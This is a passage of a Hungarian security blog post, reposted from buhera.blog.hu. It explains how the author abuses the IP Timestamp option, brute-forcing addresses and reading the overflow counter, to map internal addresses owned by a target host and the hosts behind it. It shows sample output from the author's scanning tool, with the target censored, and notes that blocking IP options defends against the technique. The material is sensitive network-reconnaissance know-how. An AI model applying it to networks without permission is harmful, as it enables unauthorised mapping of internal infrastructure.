A zsiványság ott kezdődik hogy az IP2 értékét is te adod meg. Ha 127.0.0.1 -et írsz bele akkor a következő host beleírja a timestampjét, mivel ezt az IP-t ő birtokolja. Ha 192.168.12.34 -et adsz, és az övé a cím, akkor beleírja a timestampet. Megvan a lényeg igaz? Na tömören: Ha az N-edik host által ownolt IP-ket akarjuk lekérdezni akkor az N-1 -ik host-ot állítjuk be IP1-nek, és az IP2 értékében bruteforce-oljuk ki a címeket.

Na csak hogy ne legyen annyira egyszerű, van még egy csavar a történetben: Mi van akkor ha nem az N-edik hosté az IP2, hanem valahol a visszafelé routon valaki másé? Honnan fogod tudni hogy a célpont (az N-edik host) rakta bele a TS-t vagy valaki utána? Hmm.. hmm… pontosítani kell a technikán. Szerencsére nem kell túl messzire menni a megoldásért, egy kis agyalással ez sem bonyolultabb feladat mint kirakni az aknakeresőt.

Három lehetséges megoldás:

  1. Elméletileg megoldható a TTL-el játszadozva, de ezt nem teszteltem ki.
  2. Ha az N-edik hostot akarod vizsgálni akkor felveszel még 8 bytot, és akkor az N+1-edik lesz az IP3, aminek a routeban látott valós címet adsz meg. Ha ez nem lesz kitöltve akkor tudod hogy nem az N-esik host írta bele magát. Ez elég megbízható így.
  3. A header 4.-ik byteja, ami jelen esetben 0x03 volt, az 2x4bit, aminek az első fele az overflow, a másik fele a flag. Na de mit csinál az overflow? Ha egy host azt látja hogy pointer nagyobb mint az option mérete, akkor növeli az overflow értékét, márpedig az IP2-n túl mindegyik ezt fogja tenni. Tömören fogalmazva: ennek az értékéből tudjuk meg hogy hány host lett kihagyva a játékból. Úgy tudjuk felhasználni ezt a működést, hogy a legelső vizsgálatnál az IP2-ben lekérdezzük a 127.0.0.1 -et, amire ténylegesen a célzott host fogja magát beleírni. Ekkor kell megvizsgálni az overflow értékét: ebből megtudjuk hogy hány host volt még utána. Az összes többi cím vizsgálatakor ezzel fogjuk összehasonlítani az overflow értékeket. Ha egy cím vizsgálatakor ez kevesebb, akkor a kettő különbségéből tudjuk meg azt hogy a cél gép után hanyadik host tudja magáénak.

Én ezt a metódust implementáltam a tooljaimba, amit hamarosan kipakolok a gitre, TS-fu vagy valami hasonló néven fogjátok megtalálni. Ízelítőnek itt egy kis output (bocs a cenzúrákért -_-):

# python TS-fu.py rr [cenzúrázva] 80
RR:
[cenzúrázva]
[cenzúrázva]
[cenzúrázva]
192.168.8.110
192.168.8.110
[cenzúrázva]
[cenzúrázva]
[cenzúrázva]
0.0.0.0


# python TS-fu.py tsfu [cenzúrázva] 80 [cenzúrázva]
TS-fu:
doin some test...
ref: 127.0.0.1 (ptr=21 ovrflo=3)
scanning nets...
Net found: 192.168.8.0 (ptr=21 ovrflo=3)
scanning IPs...
IP found: 192.168.8.1 addr used by another box behind this one. (distance=1 hop ptr=21 ovrflo=2)
IP found: 192.168.8.2 addr used by another box behind this one. (distance=1 hop ptr=21 ovrflo=2)
IP found: 192.168.8.7 addr used by some local iface (ptr=21 ovrflo=3)
IP found: 192.168.8.11 addr used by some local iface (ptr=21 ovrflo=3)
IP found: 192.168.8.110 addr used by some local iface (ptr=21 ovrflo=3)

Záró akkordok…

A fent leírt módszereknek egyéb felhasználási területei is lehetnek, pl. egyes loadbalancing megoldások (nem proxyzó) mögött a backendek számának bemérése, ezek súlyozásának becslése. Most nem térek ki ezekre. Az IPoptions kitiltásával lehet védekezni.

/EOF

Átemelve http://buhera.blog.hu/2013/01/27/packet-fu